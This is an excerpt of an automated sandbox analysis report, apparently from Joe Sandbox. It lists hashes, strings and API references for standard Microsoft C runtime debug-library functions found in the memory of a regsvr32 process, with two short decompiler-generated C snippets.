String ID: $ Data: <%s> %s$%.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 792801276-1329727594
Opcode ID: 607a4edc1d8635394f44f6361f5afd02e99ede9dffc913f916da5ff8546dd257
Instruction ID: 74781b4b54cd9912b8e06a4704f6bb443746ab51bab07e1bca88e51f830d20d4
Opcode Fuzzy Hash: 607a4edc1d8635394f44f6361f5afd02e99ede9dffc913f916da5ff8546dd257
Instruction Fuzzy Hash: E9613972A0D7C186E7B49B51E8907AEBBA0F784740FA18126D6CD47BA9DB3ED444CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F900 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D3F913
__doserrno.LIBCMTD ref: 000007FEF9D3F99E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3F9D8

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c, xrefs: 000007FEF9D3F97E, 000007FEF9D3F9C3, 000007FEF9D3FA4D, 000007FEF9D3FA92
_get_osfhandle, xrefs: 000007FEF9D3F9CA, 000007FEF9D3FA99
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3FA38, 000007FEF9D3FAA0
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3F969, 000007FEF9D3F9D1

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_get_osfhandle$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c
API String ID: 747159061-3177431134
Opcode ID: 733470a45f5ff35a9cc2dbc2e65958217baa720b2ccc02f46ae502d5c05be40f
Instruction ID: 4f8ff4572e8635f5027188ec8a382c63b1dfded0e2620b7392a92efec120cf46
Opcode Fuzzy Hash: 733470a45f5ff35a9cc2dbc2e65958217baa720b2ccc02f46ae502d5c05be40f
Instruction Fuzzy Hash: 78518971A1864A8AF7909B59E89076DB3E1F3807A5F609221E2ED477F4C7BEE5008B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BA60 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 78memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2BAFB
HeapSize.KERNEL32 ref: 000007FEF9D2BB40
HeapReAlloc.KERNEL32 ref: 000007FEF9D2BB61
_is_LFH_enabled.LIBCMTD ref: 000007FEF9D2BB8B

Strings

_expand_base, xrefs: 000007FEF9D2BAED
pBlock != NULL, xrefs: 000007FEF9D2BA97, 000007FEF9D2BAF4
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c, xrefs: 000007FEF9D2BAAC, 000007FEF9D2BAE6

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$AllocH_enabledSize_invalid_parameter_is_
String ID: _expand_base$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c$pBlock != NULL
API String ID: 1608253119-1427866139
Opcode ID: 6d96cea77955d8bb906b6453695997b0a193914bba0a0a822ab5dc7dadfec49f
Instruction ID: bd1364e327bffe51ea07524ffa85e9f05d80aa3f671785f44ca1c30fb28e73d7
Opcode Fuzzy Hash: 6d96cea77955d8bb906b6453695997b0a193914bba0a0a822ab5dc7dadfec49f
Instruction Fuzzy Hash: 4D41253191DB4686E7A09B14E84436E76E0F785780F614535E6CD42AF8DBBEE484CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D386B0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3876B
_invalid_parameter.LIBCMTD ref: 000007FEF9D3883D
_invalid_parameter.LIBCMTD ref: 000007FEF9D38B4C

Strings

string != NULL && sizeInWords > 0, xrefs: 000007FEF9D387D9, 000007FEF9D38836
("Buffer too small", 0), xrefs: 000007FEF9D38AE8, 000007FEF9D38B45
_vsnwprintf_s_l, xrefs: 000007FEF9D3875D, 000007FEF9D3882F, 000007FEF9D38B3E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D3871C, 000007FEF9D38756, 000007FEF9D387EE, 000007FEF9D38828, 000007FEF9D38AFD, 000007FEF9D38B37
format != NULL, xrefs: 000007FEF9D38707, 000007FEF9D38764

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnwprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c$format != NULL$string != NULL && sizeInWords > 0
API String ID: 2123368286-2958264153
Opcode ID: 54e27a84bf50c775cab06d8b5edff0f5a952963ad436725320079f8e266d75c3
Instruction ID: d7cc4d0e782f1b7c612564dac91e9d2cb6f3b6ce272f4d7ad0d490e9b620c06e
Opcode Fuzzy Hash: 54e27a84bf50c775cab06d8b5edff0f5a952963ad436725320079f8e266d75c3
Instruction Fuzzy Hash: 49E14D31A1DA868AEBB48B24E84076EB3E0F385765F204235E6DD43BE5DB7ED445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C1A3 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C1F1

Strings

-, xrefs: 000007FEF9D3CA54
_output_s_l, xrefs: 000007FEF9D3BAFB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-569934968
Opcode ID: cc230896d9a9b78453caf74913fa4f6c5025a346ba52c0faae240e43dd1109e8
Instruction ID: 22a9a72b2ea07787f3d01dc0e5522a3b9409a08ca4ad9fd04da88529524a1eb4
Opcode Fuzzy Hash: cc230896d9a9b78453caf74913fa4f6c5025a346ba52c0faae240e43dd1109e8
Instruction Fuzzy Hash: B4D11D7260DBC58BE7B1CB65E8507AEB7E4F384785F200125EAC886AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BFDE Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 212
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3BFDE(char _a696, char _a976) {

				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

7, xrefs: 000007FEF9D3BFFE
_output_s_l, xrefs: 000007FEF9D3BAFB
, xrefs: 000007FEF9D3CA88
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: wctomb_s
String ID: $("Incorrect format specifier", 0)$7$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2215178078-1895985292
Opcode ID: 328cc2888182d49a31844c3056f2ccb27a85ea43ad5a4f85c1908e4795749c83
Instruction ID: 7adfc43390c165502d6a8fb190fde7d628b4034d943845d6c2f74ff038b9ebc8
Opcode Fuzzy Hash: 328cc2888182d49a31844c3056f2ccb27a85ea43ad5a4f85c1908e4795749c83
Instruction Fuzzy Hash: 64B12E7260C7C68AE7B1CB24E8457AEB7E4F384785F204125DAD987AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32260 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32310
_invalid_parameter.LIBCMTD ref: 000007FEF9D323B4
_invalid_parameter.LIBCMTD ref: 000007FEF9D32505

Strings

("Buffer too small", 0), xrefs: 000007FEF9D324A1, 000007FEF9D324FE
_vsprintf_s_l, xrefs: 000007FEF9D32302, 000007FEF9D323A6, 000007FEF9D324F7
format != NULL, xrefs: 000007FEF9D322AC, 000007FEF9D32309
string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D32350, 000007FEF9D323AD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D322C1, 000007FEF9D322FB, 000007FEF9D32365, 000007FEF9D3239F, 000007FEF9D324B6, 000007FEF9D324F0

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL$string != NULL && sizeInBytes > 0
API String ID: 2123368286-348877268
Opcode ID: b6bbebb1f4d85d28a6809bfbee2de0be140824b02a8ca1d2541b9b7cfc6d5eb8
Instruction ID: 000baf689883631365c7c02d111a1b1a2de10ec58b0e6b3448400e9d2f0f3b8d
Opcode Fuzzy Hash: b6bbebb1f4d85d28a6809bfbee2de0be140824b02a8ca1d2541b9b7cfc6d5eb8
Instruction Fuzzy Hash: AE915C32E0CA428AE7A08B68E84476E77E0F394365F604625E7DD43AF8DB7ED544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BB66 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D32B90: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D32BD7

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BC75
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BC8A

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3BC67
(ch != _T('\0')), xrefs: 000007FEF9D3BC0E, 000007FEF9D3BC6E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3BC23, 000007FEF9D3BC60
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$(ch != _T('\0'))$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-4087627024
Opcode ID: 957d201a7f975e21043e4e8cb8b7cb2b2c46c9e35bbf440868bf758d6fc38531
Instruction ID: 7ef584807be417e268083fb343ad6d7be6558f6767769905c9ec51bf7eddb7ed
Opcode Fuzzy Hash: 957d201a7f975e21043e4e8cb8b7cb2b2c46c9e35bbf440868bf758d6fc38531
Instruction Fuzzy Hash: 61713A72A0D6C286E7F09B24E8947BEB7E4E384345F604126D6CD86AA9DB3ED541CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30FD0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 124COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D31084

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c, xrefs: 000007FEF9D31035, 000007FEF9D3106F, 000007FEF9D310FA, 000007FEF9D31134, 000007FEF9D3119A, 000007FEF9D311D4
memcpy_s, xrefs: 000007FEF9D31076, 000007FEF9D3113B, 000007FEF9D311DB
dst != NULL, xrefs: 000007FEF9D31020, 000007FEF9D3107D
sizeInBytes >= count, xrefs: 000007FEF9D31185, 000007FEF9D311E2
src != NULL, xrefs: 000007FEF9D310E5, 000007FEF9D31142

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: dst != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c$memcpy_s$sizeInBytes >= count$src != NULL
API String ID: 2123368286-3692278645
Opcode ID: 401d9823d412221fb6395ed79c47aff3affb5440d9467cb4f29d8a138cee4ba4
Instruction ID: fae548ccfa44dfd2566f43a5020e02f413341588dce5173fb2663fa56b07ad66
Opcode Fuzzy Hash: 401d9823d412221fb6395ed79c47aff3affb5440d9467cb4f29d8a138cee4ba4
Instruction Fuzzy Hash: 18515C31A1C64686F7A08B54E8447AE77E5F384344FA04136E6CD43AB8DBBEE545CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BC30 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_base.LIBCMTD ref: 000007FEF9D2BC55
_free_base.LIBCMTD ref: 000007FEF9D2BC6C

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_base_malloc_base
String ID:
API String ID: 3824334587-0
Opcode ID: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction ID: 495d8382669efda2ae004298a380b2f700874c64e4d866c5cb6fbd4b09cb9029
Opcode Fuzzy Hash: f253414e3849525c296ec210365ea501a1b810d2bb56cf35f247e52024ae0b7b
Instruction Fuzzy Hash: AC312D3191D68285E7E49B60EC0437EA3E1F7853A4F214535A6DE466F5CFBEE4809B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D263E0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D26476

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26427, 000007FEF9D26461
Bad memory block found at 0x%p.Memory allocated at %hs(%d)., xrefs: 000007FEF9D265D4
Bad memory block found at 0x%p., xrefs: 000007FEF9D26603
state != NULL, xrefs: 000007FEF9D26412, 000007FEF9D2646F
_CrtMemCheckpoint, xrefs: 000007FEF9D26468

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: Bad memory block found at 0x%p.$Bad memory block found at 0x%p.Memory allocated at %hs(%d).$_CrtMemCheckpoint$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$state != NULL
API String ID: 2123368286-817335350
Opcode ID: 79c801832210f02bb2549a70f13a14fc678dbb47873921c6f453ebac8324fa6a
Instruction ID: a7fd658f0f883f275d3cb6d605636d4d7d2232aae341650a7fa887ee8dadd8b1
Opcode Fuzzy Hash: 79c801832210f02bb2549a70f13a14fc678dbb47873921c6f453ebac8324fa6a
Instruction Fuzzy Hash: 80610B36A18B4186EB64CB59E89132EB7A0F385794F714126EBCD83BB4CB3ED441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CFF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 138
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D2CFF0(intOrPtr _a8) {
				intOrPtr _v24;
				long long _v48;
				long long _v64;
				intOrPtr _t21;

				_a8 = _t21;
				_v48 = 0;
				_v64 = 0;
				_v24 = _a8;
				_v24 = _v24 - 2;
				if (_v24 - 0x14 > 0) goto 0xf9d2d13e;
				goto __rax;
			}

0x7fef9d2cff0
0x7fef9d2cff8
0x7fef9d2d000
0x7fef9d2d010
0x7fef9d2d01b
0x7fef9d2d024
0x7fef9d2d048

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D1C9

Strings

raise, xrefs: 000007FEF9D2D1BB
("Invalid signal or error", 0), xrefs: 000007FEF9D2D165, 000007FEF9D2D1C2
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c, xrefs: 000007FEF9D2D17A, 000007FEF9D2D1B4

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid signal or error", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c$raise
API String ID: 2123368286-2245755083
Opcode ID: ea92073534654960e4773f731c7ed7de4444a26fa1832afe31598046f11c2526
Instruction ID: 64874b8661254a0ae2b01e5280f4eb25b6cc5e7b5243a42f7df21d474b3e4b39
Opcode Fuzzy Hash: ea92073534654960e4773f731c7ed7de4444a26fa1832afe31598046f11c2526
Instruction Fuzzy Hash: 3871E83291C7868AE7A48B58E84436EB7E0F785754F214135E6CE47BA4DB3EE448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25AD9 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D25B35

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25AF2, 000007FEF9D25B53, 000007FEF9D25BC9
_CrtCheckMemory(), xrefs: 000007FEF9D25ADD
LX, xrefs: 000007FEF9D25B5F
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25BB4
L7, xrefs: 000007FEF9D25C0F
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D25B3E

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$L7$LX
API String ID: 299318057-1988567080
Opcode ID: daa921bd4a8f87b13c34e3fb9a704e2154bbea7e848b38387929040681ee6967
Instruction ID: 749e228a184b7b5abc50e7f522a6a47edf15a58a7031c3663ed602be408c8cc7
Opcode Fuzzy Hash: daa921bd4a8f87b13c34e3fb9a704e2154bbea7e848b38387929040681ee6967
Instruction Fuzzy Hash: 28314D36A1864A85EBE48B59E84172E67D1F385784F714036EACD83BB5DB3FD440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C7E9 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_realloc_dbg.LIBCMTD ref: 000007FEF9D2C86D
_realloc_dbg.LIBCMTD ref: 000007FEF9D2C8B8
EncodePointer.KERNEL32 ref: 000007FEF9D2C8FF
EncodePointer.KERNEL32 ref: 000007FEF9D2C911
EncodePointer.KERNEL32 ref: 000007FEF9D2C932

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c, xrefs: 000007FEF9D2C856, 000007FEF9D2C8A1
}, xrefs: 000007FEF9D2C84E

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_realloc_dbg
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c$}
API String ID: 429494535-1858280179
Opcode ID: c2a3dc5e3c5b3ef6ce05fce9891920db6be9e05d2791cfb21aba20a8a533fa4f
Instruction ID: d34c943794379c2c172b76bd65526e764d0d85b1982d09e34a5c92bdfa9d3ddf
Opcode Fuzzy Hash: c2a3dc5e3c5b3ef6ce05fce9891920db6be9e05d2791cfb21aba20a8a533fa4f
Instruction Fuzzy Hash: 8141B836619A8586DA90CB59F88432EB7E4F7C9794F201025EACE43B68DF7ED4958B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E16F Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 259COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E1BC

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-734865713
Opcode ID: 3c24d1ab21f2eaa164015dd35ad3ad4baa8f1e206880d9711f96d4d726ca0df5
Instruction ID: a4401d07f2fb6cffb5d65cb91d5b1a1a6a6edb3a16c82fb832ec879f024f4c4f
Opcode Fuzzy Hash: 3c24d1ab21f2eaa164015dd35ad3ad4baa8f1e206880d9711f96d4d726ca0df5
